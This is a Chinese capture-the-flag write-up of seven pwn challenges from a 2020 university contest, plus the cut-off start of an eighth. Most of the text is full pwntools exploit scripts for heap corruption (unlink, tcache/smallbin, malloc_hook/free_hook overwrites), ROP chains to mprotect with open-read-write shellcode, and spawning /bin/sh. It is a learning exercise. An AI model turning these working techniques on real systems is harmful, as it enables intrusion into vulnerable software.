美文网首页CTF Re&&PwnCTF-PWN
2020 高校战“疫”网络安全分享赛 pwn

2020 高校战“疫”网络安全分享赛 pwn

作者: pu1p | 来源:发表于2020-03-13 21:17 被阅读0次

    前言

    这次比赛的题量属实有点大, pwn题一共有12题. 不过部分题目也不是特别难. 然而我手速实在太慢了... 比赛两天只做出了5个比较常规的题目. 赛后又复现了5个比较有意思的题. blind pwn 因为赛后服务器环境没了也没法做, rust pwn 鉴于对 rust实在不熟就放弃了....
    剩下的几个题目都挺有意思的.
    musl 用的是 musl libc. 第一次见, 利用方式就是经典的 unlink
    two_chunk 用了最新的 glibc 2.30. 也是考察了 malloc时候把 smallbin 往 tcache bin 回填的点(第三次见了)
    unicorn 我觉得可以算 misc pwn了. 先得从 memory dump 里面恢复 elf 文件, 然后再 pwn掉它, 很有意思.
    kernoob 是做的第一道内核堆题, 参考 kirin 的wp [1] 复现成功. 简单的 uaf 放在内核环境下就变得非常麻烦, 通过这个题也大概看了一遍 SLUB 的实现, kmalloc 里面要考虑到太多的底层东西, 分页, cache, NUMA 等等, 对底层不太了解的话很难理解代码逻辑. google 到一篇kmalloc 源码解析 [2]. 写的非常详细, 推荐对kmalloc感兴趣的同学阅读.

    easy_heap | solved

    add功能判断size的时候有个整型溢出, 但是好像没啥用

    flag{asinsdfweusadqnmzposlakkdf}

    #coding:utf-8
    from pwn import *
    import pwn_framework as pf
    from time import sleep
    import sys
    import struct
    
    global io
    ru = lambda p, x : p.recvuntil(x)
    sn = lambda p, x : p.send(x)
    rl = lambda p  : p.recvline()
    sl = lambda p, x : p.sendline(x)
    rv = lambda p, x : p.recv(numb = x)
    sa = lambda p, a,b : p.sendafter(a,b)
    sla = lambda p, a,b : p.sendlineafter(a,b)
    rr = lambda p, t : p.recvrepeat(t)
    
    # amd64 or x86
    context(arch = 'amd64', os = 'linux', endian = 'little')
    context.log_level = 'debug'
    context.terminal = ['tmux', 'splitw', '-h']
    
    filename = "./easyheap"
    ip = "121.36.209.145"
    port = 9997
    
    LOCAL = True if len(sys.argv)==1 else False
    
    global bps # Break Points
    global gds # Gdb Debug Symbols
    bps = []
    gds = {}
    
    elf = ELF(filename)
    
    remote_libc = "./libc.so.6"
    if LOCAL:
        io = process(filename)
        libc = elf.libc
    
        # # if LD_PRELOAD multiple libs, split with ':'
        # io = process(filename, env={'LD_PRELOAD': remote_libc}) 
        # libc = ELF(remote_libc)
    else:
        context.log_level = 'debug'
        io = remote(ip, port)
        libc = ELF(remote_libc)
    
    
    def pause(p, s = 'pause'):
        if LOCAL:
            print('pid: ' + str(p.pid))
            return raw_input(s)
        else:
            return raw_input(s)
    
    def choice(p, idx):
        sla(p, "choice:\n", str(idx))
        
    def lg(name, val):
        log.info(name+" : "+hex(val))
    
    def add(p, size, data):
        choice(p, 1)
        sla(p, "How long is this message?\n", str(size))
        sa(p, "content of the message?\n", data)
        ru(p, ".\n")
    
    def remove(p, idx):
        choice(p, 2)
        sla(p, "index of the item to be deleted?\n", str(idx))
        res = ru(p, ".\n")
        return res
    
    def edit(p, idx, data):
        choice(p, 3)
        sla(p, "index of the item to be modified?\n", str(idx))
        sa(p,"content of the message?\n", data)
        ru(p, ".\n")
    
    pause(io)
    bps.append(0x400B98) # get choice
    gds['ptrs'] = 0x6020C0
    
    
    add(io, 0x400, 'aaa\n')
    add(io, 0x60, 'bbb\n')
    add(io, 0x30, 'ccc\n')
    
    remove(io, 1)
    remove(io, 0)
    
    choice(io, 1)
    sla(io, "long", str(0x500))
    
    fake_chunk = 0x60208d
    
    edit(io, 0, flat(0x410, 0x20, 0, 0, 0, 0x71, fake_chunk))
    # io.interactive()
    remove(io, 2)
    add(io, 0x60, 'b1\n')
    add(io, 0x60, "\0"*3 + p64(0) + struct.pack("<i", -1000)*6 + flat(0x6020C0+0x8, 0x6020c0, 0x100))
    base = 0x6020C0
    free_got = 0x602018
    puts_got  = 0x602020
    puts_plt = 0x400670
    edit(io, 0, flat(base+0x18, base+0x28, base+0x38, [free_got, 8], [puts_got, 8], [base+0x48, 8], "/bin/sh\0"))
    edit(io, 0, p64(puts_plt))
    
    
    res = remove(io, 1)
    puts_addr = u64(res[:6]+'\0\0')
    libc.address = puts_addr - libc.symbols['puts']
    lg("libc base", libc.address)
    
    system_addr = libc.symbols['system']
    
    edit(io, 0, p64(system_addr))
    
    remove(io, 2)
    

    woodenbox2 | solved

    最后退出的时候有个 double free, 会触发 malloc_hook, 所以可能是修改 malloc_hook

    edit功能有堆溢出漏洞.

    应该是要利用 stdout 来 leak libc

    拿到libc地址了, 应该快了

    flag{D0_y0u_kn0w_h0o34_o7_R0m4n?}

    #coding:utf-8
    from pwn import *
    import pwn_framework as pf
    from time import sleep
    import sys
    
    global io
    ru = lambda p, x : p.recvuntil(x)
    sn = lambda p, x : p.send(x)
    rl = lambda p  : p.recvline()
    sl = lambda p, x : p.sendline(x)
    rv = lambda p, x : p.recv(numb = x)
    sa = lambda p, a,b : p.sendafter(a,b)
    sla = lambda p, a,b : p.sendlineafter(a,b)
    rr = lambda p, t : p.recvrepeat(t)
    
    # amd64 or x86
    context(arch = 'amd64', os = 'linux', endian = 'little')
    context.log_level = 'debug'
    context.terminal = ['tmux', 'splitw', '-h']
    
    filename = "./woodenbox2"
    ip = "121.36.215.224"
    port = 9998
    
    LOCAL = True if len(sys.argv)==1 else False
    
    global bps # Break Points
    global gds # Gdb Debug Symbols
    bps = []
    gds = {}
    
    elf = ELF(filename)
    
    remote_libc = "./libc6_2.23-0ubuntu11_amd64.so"
    if LOCAL:
        # io = process(filename)
        # libc = elf.libc
    
        # if LD_PRELOAD multiple libs, split with ':'
        io = process(filename, env={'LD_PRELOAD': remote_libc}) 
        libc = ELF(remote_libc)
    else:
        context.log_level = 'debug'
        io = remote(ip, port)
        libc = elf.libc
        # libc = ELF(remote_libc)
    
    
    def pause(p, s = 'pause'):
        if LOCAL:
            print('pid: ' + str(p.pid))
            return raw_input(s)
        else:
            return raw_input(s)
    
    def choice(p, idx):
        sla(p, "choice:", str(idx))
        
    def lg(name, val):
        log.info(name+" : "+hex(val))
    
    def add(p, size, data):
        choice(p, 1)
        sla(p, "length of item name:", str(size))
        sa(p, "name of item:", data)
    
    def edit(p, idx, size, data):
        choice(p, 2)
        sla(p, "index of item:", str(idx))
        sla(p, "length of item name:", str(size))
        sla(p, "new name of the item:", data)
        
    def remove(p, idx):
        choice(p, 3)
        sla(p, "index of item:", str(idx))
        ru(p, "!!\n")
    
    pause(io)
    gds['ptrs'] = 0x5555557560A0
    
    def loop(rand_i):
        global io
        add(io, 0xf0, 'a\n')
        add(io, 0x60, 'b\n')
        add(io, 0xf0, 'c\n')
        overlay = 6
        for i in range(overlay):
            add(io, 0x60, 'd\n')
        remove(io, 0)
        edit(io, 0, 0x70, flat('a'*0x60, 0x170, 0x100))
        remove(io, 0)
    
        remove(io, 0)
        add(io, 0xf0, 'a\n') 
        # fastbin -> 0x7ffff7dd1b78
        # overwrite to 0x7ffff7dd25dd
        edit(io, overlay, 0x102, 'a'*0xf0+flat(0, 0x71)+'\xdd'+chr((rand_i <<4)+5))
    
        add(io, 0x60, 'b222\n')
        add(io, 0x60, flat('a'*0x33, 0xfbad1800, 0, 0, 0)+"\0")
    
        rv(io, 0x40)
        libc.address = u64(rv(io, 8)) - 0x3c5600
        lg("libc.address", libc.address)
    
        # use malloc to one gadget
        one = libc.address + 0xf02a4
        fake2 = libc.symbols['__malloc_hook'] - 0x23 # malloc hook 
        payload = "a"*19 + p64(one) 
    
        remove(io, 5)
        edit(io, 3, 0x78, flat('a'*0x60, 0, 0x71, fake2))
    
        add(io, 0x60, 'a\n')
        add(io, 0x60, payload)
    
        choice(io, 4)
        sleep(0.5)
        sl(io, "eho 'pu1p';cat flag;echo 'pu2p'")
        io.interactive()
    
    for i in range(0xf+1):
        try:
            io = remote(ip, port)
            loop(i)
            break
        except:
            continue
    

    shortest_path| solved

    计算最短路径的过程中有一个溢出点, 可以覆盖一个 flag, 进而导致 double free. 主要就是构造溢出的图花了不少时间, 算法太菜了 55555

    flag{SPFA_1s_4_9o0d_A1gorithm}

    #coding:utf-8
    from pwn import *
    import pwn_framework as pf
    from time import sleep
    import sys
    
    global io
    ru = lambda p, x : p.recvuntil(x)
    sn = lambda p, x : p.send(x)
    rl = lambda p  : p.recvline()
    sl = lambda p, x : p.sendline(x)
    rv = lambda p, x : p.recv(numb = x)
    sa = lambda p, a,b : p.sendafter(a,b)
    sla = lambda p, a,b : p.sendlineafter(a,b)
    rr = lambda p, t : p.recvrepeat(t)
    
    # amd64 or x86
    context(arch = 'amd64', os = 'linux', endian = 'little')
    context.log_level = 'debug'
    context.terminal = ['tmux', 'splitw', '-h']
    
    filename = "./Shortest_path"
    ip = "121.37.181.246"
    port = 19008
    
    LOCAL = True if len(sys.argv)==1 else False
    
    global bps # Break Points
    global gds # Gdb Debug Symbols
    bps = []
    gds = {}
    
    elf = ELF(filename)
    
    remote_libc = "./remote_libc"
    if LOCAL:
        io = process(filename)
        libc = elf.libc
    
        # # if LD_PRELOAD multiple libs, split with ':'
        # io = process(filename, env={'LD_PRELOAD': remote_libc}) 
        # libc = ELF(remote_libc)
    else:
        context.log_level = 'debug'
        io = remote(ip, port)
        libc = elf.libc
        # libc = ELF(remote_libc)
    
    
    def pause(p, s = 'pause'):
        if LOCAL:
            print('pid: ' + str(p.pid))
            return raw_input(s)
        else:
            return raw_input(s)
    
    def choice(p, idx):
        sla(p, "options ---> ", str(idx))
        
    def lg(name, val):
        log.info(name+" : "+hex(val))
    
    def add_node(p, idx, size, data, nb_cnt=0, nbs=[], dists=[], price=1):
        choice(p, 1)
        sla(p, "Station ID: ", str(idx))
        sla(p, "Station Price: ", str(price))
        sla(p, "Name Length: ", str(size))
        sa(p, " Name: ", data)
        sla(p, "connected station: ", str(nb_cnt))
        # print(nbs)
        # print(dists)
        for i in range(nb_cnt):
            sla(p, "Conected station ID: ", str(nbs[i]))
            sla(p, "station distance: ", str(dists[i]))
    
    def remove_node(p, idx):
        choice(p, 2)
        sla(p, "Station ID: ", str(idx))
    
    def get_route(p, src, dest):
        choice(p, 4)
        sla(p, "Source Station ID: ", str(src))
        sla(p, "Target Station ID:", str(dest))
    
    pause(io)
    flag_addr = 0x6068E0
    
    add_node(io, 0, 0x10, 'aa\n')
    # add_node(io, 1, 0x60, 'bb\n')
    
    start  = 3
    add_node(io, start, 0x10, 'pu1p\n')
    for i in range(start+1, 29):
        add_node(io, i, 0x10, 'pu1p', 1, [i-1], [1])
    
    a = [i for i in range(start, 29)][::-1]
    b = [i*2 for i in range(1, 28)]
    add_node(io, 29, 0x10, 'pu1p', (29-start), a, b)
    
    remove_node(io, 0)
    # remove_node(io, 1)
    
    get_route(io, 29, start)
    remove_node(io, 0)
    
    add_node(io, 1, 0x60, 'aa\n')
    add_node(io, 2, 0x10, p64(0x100000001)+p64(flag_addr))
    # add_node(io, 1, 0x60, 'bb\n')
    # add_node(io, 2, 0x60, )
    # io.interactive()
    
    sleep(1)
    sl(io, '3')
    sleep(1)
    sl(io, '1')
    io.interactive()
    

    lgd | solved

    用了 snprintf 的返回值当作size, 可以导致堆溢出

    full relro + seccomp 禁用 execve

    构造栈溢出rop → mprotect → orw shellcode

    (这个出题人代码写的太nb了, 自带混淆.......

    #coding:utf-8
    from pwn import *
    import pwn_framework as pf
    from time import sleep
    import sys
    
    global io
    ru = lambda p, x : p.recvuntil(x)
    sn = lambda p, x : p.send(x)
    rl = lambda p  : p.recvline()
    sl = lambda p, x : p.sendline(x)
    rv = lambda p, x : p.recv(numb = x)
    sa = lambda p, a,b : p.sendafter(a,b)
    sla = lambda p, a,b : p.sendlineafter(a,b)
    rr = lambda p, t : p.recvrepeat(t)
    
    # amd64 or x86
    context(arch = 'amd64', os = 'linux', endian = 'little')
    context.log_level = 'debug'
    context.terminal = ['tmux', 'splitw', '-h']
    
    filename = "./pwn"
    ip = "121.36.209.145"
    port = 9998
    
    LOCAL = True if len(sys.argv)==1 else False
    
    global bps # Break Points
    global gds # Gdb Debug Symbols
    bps = []
    gds = {}
    
    elf = ELF(filename)
    
    remote_libc = "./libc.so.6"
    if LOCAL:
        # io = process(filename)
        # libc = elf.libc
    
        # if LD_PRELOAD multiple libs, split with ':'
        io = process(filename, env={'LD_PRELOAD': remote_libc}) 
        libc = ELF(remote_libc)
    else:
        context.log_level = 'debug'
        io = remote(ip, port)
        libc = ELF(remote_libc)
    
    
    def pause(p, s = 'pause'):
        if LOCAL:
            print('pid: ' + str(p.pid))
            return raw_input(s)
        else:
            return raw_input(s)
    
    def choice(p, idx):
        sla(p, ">> ", str(idx))
        
    def lg(name, val):
        log.info(name+" : "+hex(val))
    
    def add(p, size, data):
        choice(p, 1)
        sla(p, "_____?\n", str(size))
        sa(p, "yes_or_no?\n", data)
    
    def remove(p, idx):
        choice(p, 2)
        sla(p, "index ?\n", str(idx))
    
    def show(p, idx):
        choice(p, 3)
        sla(p, "index ?\n", str(idx))
    
    def edit(p, idx, data):
        choice(p, 4)
        sla(p, "index ?\n", str(idx))
        sa(p, "new_content ?\n", data)
    
    pause(io)
    gds['sizes'] = 0x603260
    gds['ptrs'] = 0x6032E0
    
    sla(io, "name? \n", "pu1p")
    
    
    add(io, 0x100, 'a'*0x71)
    add(io, 0x100, '\0')
    for i in range(15):
        add(io, 0x100, 'a')
        add(io, 0x100, '\0')
    for i in range(32):
        remove(io, i)
    
    add(io, 0x18, 'a'*0X200)
    add(io, 0x60, 'bbb')
    add(io, 0x10, 'ccc')
    
    remove(io, 1)
    edit(io, 0, flat('a'*0x18, 0x71, 0x6032d0, 0))
    
    add(io, 0x60, 'aaa')
    add(io, 0x60, 'xxx')
    
    # ptrs[3] -> ptrs
    # sizes[1, 2, 3, 3] = 0x200
    
    ptrs_addr = 0x6032e0
    # leak libc
    got_puts = 0x602FA0
    edit(io, 3, flat(ptrs_addr, got_puts))
    
    show(io, 1)
    puts_addr = u64(rv(io, 6)+'\0\0')
    libc.address = puts_addr - libc.symbols['puts']
    lg("libc.address", libc.address)
    
    # leak stack
    edit(io, 0, flat(ptrs_addr, libc.symbols['environ']))
    show(io, 1)
    stack_addr = u64(rv(io, 6)+'\0\0')
    lg("stack_addr", stack_addr)
    
    
    # write shellcode to bss
    sc_addr = 0x603800
    # edit(io, 0, flat(ptrs_addr, stack_addr, sc_addr)) # remote libc
    edit(io, 0, flat(ptrs_addr, stack_addr-0x240, sc_addr))
    
    sc = asm(shellcraft.amd64.linux.open("./flag", 0))
    sc += asm(shellcraft.amd64.linux.read('rax', 0x603700, 0x40))
    sc += asm(shellcraft.amd64.linux.write(1, 0x603700, 0x40))
    edit(io, 2, sc)
    
    
    # construct rop payload
    bps.append(0x40208A) # read in edit
    
    PrdiR = 0x00000000004023b3
    Prsir15R = 0x00000000004023b1
    PrdxR = libc.address + 0x0000000000001b92
    PrcxrbxR = libc.address + 0x00000000000ea69a
    mprotect_addr = libc.symbols['mprotect']
    # rop payload -> mprotect -> shellcode
    p1 = flat(
        PrdiR, 0x603000,
        Prsir15R, 0x1000, 0, 
        PrdxR, 7,
        mprotect_addr,
        sc_addr
    )
    
    edit(io, 1, p1)
    io.interactive()
    

    easy_vm| solved

    0x80 对应的 操作 可以修改 vm 结构体. 可以实现任意地址读写. 改 free_hook 为 system 地址即可

    flag{a73ujlkj2kohjnlkgmdfgkenzomd}

    #coding:utf-8
    from pwn import *
    import pwn_framework as pf
    from time import sleep
    import sys
    
    global io
    ru = lambda p, x : p.recvuntil(x)
    sn = lambda p, x : p.send(x)
    rl = lambda p  : p.recvline()
    sl = lambda p, x : p.sendline(x)
    rv = lambda p, x : p.recv(numb = x)
    sa = lambda p, a,b : p.sendafter(a,b)
    sla = lambda p, a,b : p.sendlineafter(a,b)
    rr = lambda p, t : p.recvrepeat(t)
    
    # amd64 or x86
    context(arch = 'i386', os = 'linux', endian = 'little')
    context.log_level = 'debug'
    context.terminal = ['tmux', 'splitw', '-h']
    
    filename = "./EasyVM"
    ip = "121.36.215.224"
    port = 9999
    
    LOCAL = True if len(sys.argv)==1 else False
    
    global bps # Break Points
    global gds # Gdb Debug Symbols
    bps = []
    gds = {}
    
    elf = ELF(filename)
    
    remote_libc = "./libc-2.23.so"
    if LOCAL:
        # io = process(filename)
        # libc = elf.libc
    
        # if LD_PRELOAD multiple libs, split with ':'
        io = process(filename, env={'LD_PRELOAD': remote_libc}) 
        libc = ELF(remote_libc)
    else:
        context.log_level = 'debug'
        io = remote(ip, port)
        libc = ELF(remote_libc)
    
    
    def pause(p, s = 'pause'):
        if LOCAL:
            print('pid: ' + str(p.pid))
            return raw_input(s)
        else:
            return raw_input(s)
    
    def choice(p, idx):
        sla(p, ">>> \n", str(idx))
        
    def lg(name, val):
        log.info(name+" : "+hex(val))
    
    def add_code(p, code):
        choice(p, 1)
        sn(p, code)
    
    def run_code(p):
        choice(p, 2)
    
    def remove_code(p):
        choice(p, 3)
    
    def set_reg(idx, val):
        return "\x80"+chr(idx)+p32(val)
    def push(val):
        return "\x71"+p32(val)
    def pop():
        return "\x76"+p32(0)
    
    pause(io)
    
    # 00000000 vm              struc ; (sizeof=0x3C, mappedto_5)
    #     00000000 r_addr          dd ?
    #     00000004 r1              dd ?
    #     00000008 r2              dd ?
    #     0000000C r_mul           dd ?
    #     00000010 r_sub           dd ?
    #     00000014 r_div           dd ?                    ; char
    #     00000018 _sp             dd ?
    #     0000001C stack_top       dd ?
    #     00000020 _ip             dd ?
    #     00000024 r_xor           dd ?
    #     00000028 stack_base      dd ?
    #     0000003C vm              ends
    #     get elf base
    
    choice(io, 4)
    p1 = "\x09\x11\x99"
    add_code(io, p1)
    run_code(io)
    # choice(io, 2)
    elf.address = int(rl(io), 16) - 0x6c0
    lg("elf base", elf.address)
    
    # get libc base
    got_puts = elf.got['puts']
    # got___libc_start_main = elf.got['__libc_start_main']
    p2 = ""
    p2 += set_reg(3, got_puts) + '\x53\x00'
    p2 += set_reg(3, got_puts+1) + '\x53\x00'
    p2 += set_reg(3, got_puts+2) + '\x53\x00'
    p2 += set_reg(3, got_puts+3) + '\x53\x00'
    p2 += '\x99'
    
    add_code(io, p2)
    run_code(io)
    sleep(1)
    puts_addr = u32(rv(io, 4))
    libc.address = puts_addr - libc.symbols['puts']
    lg("libc.address", libc.address)
    
    pause(io)
    # change free hook to system
    fh_addr = libc.symbols['__free_hook']
    
    p3 = ""
    p3 += set_reg(6, fh_addr+4)
    p3 += push(libc.symbols['system'])
    p3 += set_reg(0, u32("/bin"))
    p3 += set_reg(1, u32("/sh\0"))
    p3 += "\x99"
    add_code(io, p3)
    run_code(io)
    
    sleep(1)
    choice(io, 3)
    io.interactive()
    

    musl | solved(after game)

    挺有意思的一个题目.

    用的 musl libc(第一次见). 通过strings 附件中的 libc.so 可知libc 版本为 1.1.224, 然后去 官网https://git.musl-libc.org/cgit/musl下载源码.

    通过查看源码可以发现 unlink 的时候没有任何校验.

    题目提供了一次堆溢出操作. 结合 unlink 可以实现任意地址写. 但是这个程序是 mmap 了一块随机地址的内存存储 malloc 返回的指针. 所以没办法直接用 unlink 改指针. 这块卡了一会儿.

    但是发现利用 edit 功能可以实现任意次 unlink 攻击. 所以最终思路如下:

    1. 利用 多次 unlink 在bss 段伪造一个 (size, ptr) 对, ptr 指向0x602030
    2. 利用 unlink 把 指向 mmap 内存 的指针的值改为指向 bss段伪造的 (size, ptr) 对.
    3. 利用 edit 和 show 功能即可实现任意次 任意地址读写
    4. (为了绕过edit 中 限制 size ≤ 0x80) 需要把地址错开(就像 fast bin attack 中伪造 size 那样)
    5. 先用got表读 libc 地址, 然后用 libc.symbols['environ'] 拿到 栈地址, 然后算一下偏移直接修改 edit 函数的返回地址.

    flag{It_1s_n0t_0ur_3nemi3s_that_def3at_us_It_1s_0ur_f3ar_POE}

    #coding:utf-8
    from pwn import *
    import pwn_framework as pf
    from time import sleep
    import sys
    
    global io
    ru = lambda p, x : p.recvuntil(x)
    sn = lambda p, x : p.send(x)
    rl = lambda p  : p.recvline()
    sl = lambda p, x : p.sendline(x)
    rv = lambda p, x : p.recv(numb = x)
    sa = lambda p, a,b : p.sendafter(a,b)
    sla = lambda p, a,b : p.sendlineafter(a,b)
    rr = lambda p, t : p.recvrepeat(t)
    
    # amd64 or x86
    context(arch = 'amd64', os = 'linux', endian = 'little')
    context.log_level = 'debug'
    context.terminal = ['tmux', 'splitw', '-h']
    
    filename = "./carbon"
    ip = "119.3.158.103"
    port = 19008
    
    LOCAL = True if len(sys.argv)==1 else False
    
    global bps # Break Points
    global gds # Gdb Debug Symbols
    bps = []
    gds = {}
    
    # elf = ELF(filename)
    
    remote_libc = "./libc.so"
    if LOCAL:
        io = process(filename)
        # if LD_PRELOAD multiple libs, split with ':'
        # io = process(filename, env={'LD_PRELOAD': remote_libc}) 
        libc = ELF(remote_libc)
    else:
        context.log_level = 'debug'
        io = remote(ip, port)
        libc = ELF(remote_libc)
    
    
    def pause(p, s = 'pause'):
        if LOCAL:
            print('pid: ' + str(p.pid))
            return raw_input(s)
        else:
            return raw_input(s)
    
    def choice(p, idx):
        sla(p, "> ", str(idx))
        
    def lg(name, val):
        log.info(name+" : "+hex(val))
    
    def add(p, size, data, ow='N'):
        choice(p, 1)
        sla(p, "size? >", str(size))
        sla(p, "believer? >", ow)
        sa(p, "sleeve >", data)
    
    def remove(p, idx):
        choice(p, 2)
        sla(p, "ID? >", str(idx))
    
    def show(p, idx):
        choice(p, 4)
        sla(p, "ID? >", str(idx))
    
    def edit(p, idx, data):
        choice(p, 3)
        sla(p, "ID? >", str(idx))
        sleep(0.5)
        sn(p, data)
    
    pause(io)
    gds['flags'] = 0x602030
    gds['arr'] = 0x602040
    gds['bins'] = 0x7ffff7ffbac0
    gds['ptrs'] = 0x00007ffff7ff5000
    gds['heap'] = 0x00007ffff7ffe3b0
    
    add(io, 0x10, 'a\n')
    add(io, 0x10, 'b\n')
    add(io, 0x80, 'c\n')
    add(io, 0x10, 'd\n')
    
    remove(io, 0)
    remove(io, 2)
    
    add(io, 0x10, flat('a'*0x10, 0x21, 0x21, 'a'*0x10, 0x21, 0xa0, 0x602030, 0x602058)+'\n', "Y")
    
    bps.append(0x7FFFF7D8085E) # ubin in malloc
    
    add(io, 0x80, 'c\n') 
    
    edit(io, 2, flat(0x602030, 0x602072-0x10)+'\n')
    
    add(io, 0x80, 'c\n') 
    
    edit(io, 2, flat(0x60206a, 0x602040-0x10)+'\n')
    
    add(io, 0x80, 'c\n') 
    
    edit(io, 0, flat(0, 0, 0x602050, 0,  0x80, 0x602030, 0x80, 0x601FE8)+'\n')
    show(io, 1)
    strlen_addr = u64(rv(io, 6)+'\0\0')
    libc.address = strlen_addr - libc.symbols['strlen']
    lg("libc.address", libc.address)
    
    prefix = flat(0, 0, 0x602050, 0,  0x80, 0x602030)
    edit(io, 0, prefix+flat(0x80, libc.symbols['environ'])+'\n')
    show(io, 1)
    stack_addr = u64(rv(io, 6)+'\0\0')
    lg('stack_addr', stack_addr)
    
    ret_addr = stack_addr - 0x70
    edit(io, 0, prefix+flat(0x80, ret_addr)+'\n')
    
    system_addr = libc.symbols['system']
    sh_addr = libc.search("/bin/sh\0").next()
    
    p1 = flat(
        libc.address + 0x0000000000014862, sh_addr,
        system_addr, 0xdeadbeef)
    
    edit(io, 1, p1+'\n')
    
    io.interactive()
    

    two_chunk | solved(after game)

    libc 2.30

    赛后参考 NU1L 的wp 复现了一遍.

    利用 malloc small chunk 的过程中会尽量用多余的small chunk 把 tcahce bin 填满的特性.

    (之前buuctf 红包题也是类似的利用点, 但是当时只用到往任意地址写一个极大值. 没有意识到完全可以实现 任意地址写)

    还有个点值得注意就是构造 small bin 的链. 因为只能分配两个chunk, 所以需要通过 切割较大的 unsorted bin 得到 0x90 大小的 unsorted bin, 再利用 malloc_consolidate 放入 small bin 中

    (因为没有 glibc 2.30的环境, 所以我是在 glibc 2.29下做的. 两个版本的malloc 实现差不多)

    #coding:utf-8
    from pwn import *
    import pwn_framework as pf
    from time import sleep
    import sys
    
    global io
    ru = lambda p, x : p.recvuntil(x)
    sn = lambda p, x : p.send(x)
    rl = lambda p  : p.recvline()
    sl = lambda p, x : p.sendline(x)
    rv = lambda p, x : p.recv(numb = x)
    sa = lambda p, a,b : p.sendafter(a,b)
    sla = lambda p, a,b : p.sendlineafter(a,b)
    rr = lambda p, t : p.recvrepeat(t)
    
    # amd64 or x86
    context(arch = 'amd64', os = 'linux', endian = 'little')
    context.log_level = 'debug'
    context.terminal = ['tmux', 'splitw', '-h']
    
    filename = "./twochunk_29"
    ip = "121.36.209.145"
    port = 9999
    
    LOCAL = True if len(sys.argv)==1 else False
    
    global bps # Break Points
    global gds # Gdb Debug Symbols
    bps = []
    gds = {}
    
    elf = ELF(filename)
    
    remote_libc = "./libc_2.29.so"
    if LOCAL:
        # io = process(filename)
        # libc = elf.libc
    
        # # if LD_PRELOAD multiple libs, split with ':'
        io = process(filename, env={'LD_PRELOAD': remote_libc}) 
        libc = ELF(remote_libc)
    else:
        context.log_level = 'debug'
        io = remote(ip, port)
        libc = ELF(remote_libc)
    
    
    def pause(p, s = 'pause'):
        if LOCAL:
            print('pid: ' + str(p.pid))
            return raw_input(s)
        else:
            return raw_input(s)
    
    def choice(p, idx):
        sla(p, "choice: ", str(idx))
        
    def lg(name, val):
        log.info(name+" : "+hex(val))
    
    def add(p, idx, size):
        choice(p, 1)
        sla(p, "idx: ", str(idx))
        sla(p, "size: ", str(size))
        ru(p, "success")
    
    def remove(p, idx):
        choice(p, 2)
        sla(p, "idx: ", str(idx))
    
    def show(p, idx):
        choice(p, 3)
        sla(p, "idx: ", str(idx))
    
    def edit(p, idx, data):
        choice(p, 4)
        sla(p, "idx: ", str(idx))
        sa(p, "content: ", data)
    
    def show2(p):
        choice(p, 5)
    
    def add_88(p, data):
        choice(p, 6)
        sa(p, "message: ", data)
    
    def back_door(p):
        choice(p, 7)
    
    pause(io)
    mmap = 0x23333000
    elf_ptr = 0x555555558008
    gds['flags'] = 0x555555558010
    gds['ptrs'] = 0x5555555580A0
    
    sa(io, "name: ", p64(0x23333020)*6)
    sa(io, "message: ", p64(0x23333020)*8)
    
    # add 5 chunks to 0x90 tcache bin
    for i in range(5):
        add(io, 0, 0x88)
        remove(io, 0)
    
    # split 0x130 chunk to a 0x90 chunk in unsorted bin
    add(io, 0, 0x128)
    for i in range(7):
        add(io, 1, 0x128)
        remove(io, 1)
    remove(io, 0)
    add(io, 1, 0x98)
    remove(io, 1)
    
    # add to 0x100 chunk to tcache bin
    add(io, 0, 0xe9)
    add(io, 1, 0xe9)
    remove(io, 0)
    remove(io, 1)
    
    # split 0x140 chunk to a 0x90 chunk in unsorted bin
    add(io, 0, 0x138)
    for i in range(7):
        add(io, 1, 0x138)
        remove(io, 1)
    remove(io, 0)
    add(io, 1, 0xa8)  # split 0x140 chunk to a 0xb0 and 0x90 chunk
    remove(io, 1) # then put 0xb0 chunk to tcache bin
    
    # leak heap addr
    add(io, 1, 23333)
    show(io, 1)
    
    heap = u64(rv(io, 8)) - 0xeb0
    lg('heap', heap)
    
    # make 2 0x90 chunk in unsorted bin into smallbin
    add(io, 0, 0x200)
    remove(io, 0)
    
    # corrupt 2nd chunk smallbin
    p1 = flat(0x108*'\x00',
        0xb1, '\x00'*0X98,
        0x91, heap+0x5c0, 0x23332ff0
        )
    p1 += p64(0xb1)
    
    edit(io, 1, p1)
    
    # trigger put back process in _int_malloc
    # RTFSC for more information
    add(io, 0, 0x88)
    
    show2(io)
    ru(io, "message: ")
    libc.address = u64(rv(io, 6)+"\0\0") - 0x3b1d20
    lg("libc.address", libc.address)
    
    system_addr = libc.symbols['system']
    binsh_addr = libc.search("/bin/sh\0").next()
    
    add_88(io, flat(system_addr, "/bin/sh\0", '\0'*0x20, 0x23333008))
    
    back_door(io)
    io.interactive()
    

    unicorn | solved (after game)

    第一次做这种pwn题, 很有意思.

    首先需要从 dump 文件中提取出 elf 文件进行分析. 用这个脚本就好

    global dump
    dump = open("./xctf_pwn.dump", "rb").read()
    
    def f(start, length):
        global dump
        return dump[start:start+length]
    
    
    text = ""
    
    text += f(0x1c7239, 0x9c8)
    text += f(0x1c7c01, 0x1a) + f(0x3b5dec, 0xe) + f(0x1c5111, 0x100)
    text += f(0x366c4c, 8) + f(0x35ac3b, 8) + f(0x3b7ffc, 0xaa2)
    text += f(0x3b5dfa, 2) + f(0x1c5008, 9) + f(0x3b5e05, 3)
    text += f(0x3c7b5e, 0x3f7) + f(0x3b5e04, 1) + f(0x3c7fed, 0xdc)
    text += f(0x3b5ff8, 4) + f(0x5032a1, 0x3dc) + f(0xf5c, 0x24)
    text += f(0x3b5c74, 178) 
    
    open("./text", "wb").write(text)
    

    然后就是分析程序, 发现有两个后门.

    一个是 直接cat flag

    __int64 __fastcall sub_401428(__int64 a1, __int64 a2)
    {
      __int64 v2; // rdx
      __int64 v3; // rcx
      __int64 v4; // r8
      __int64 result; // rax
    
      puts((__int64)"interactive mode Disable\n");
      printf((__int64)"but do you like flag? [Y/n]", a2, v2, v3, v4);
      result = get_chr__();
      if ( (_BYTE)result != 'n' && (_BYTE)result != 'N' )
      {
        puts((__int64)"First blood to you ");
        result = cat_flag((__int64)"flag.txt");
      }
      return result;
    }
    
    unsigned __int64 __fastcall cat_flag(__int64 a1)
    {
      __int64 v1; // rdx
      __int64 v2; // rcx
      __int64 v3; // r8
      __int64 v4; // rdx
      __int64 v5; // rcx
      __int64 v6; // r8
      __int64 v8; // [rsp+18h] [rbp-78h]
      char buf; // [rsp+20h] [rbp-70h]
      unsigned __int64 v10; // [rsp+88h] [rbp-8h]
    
      v10 = __readfsqword(0x28u);
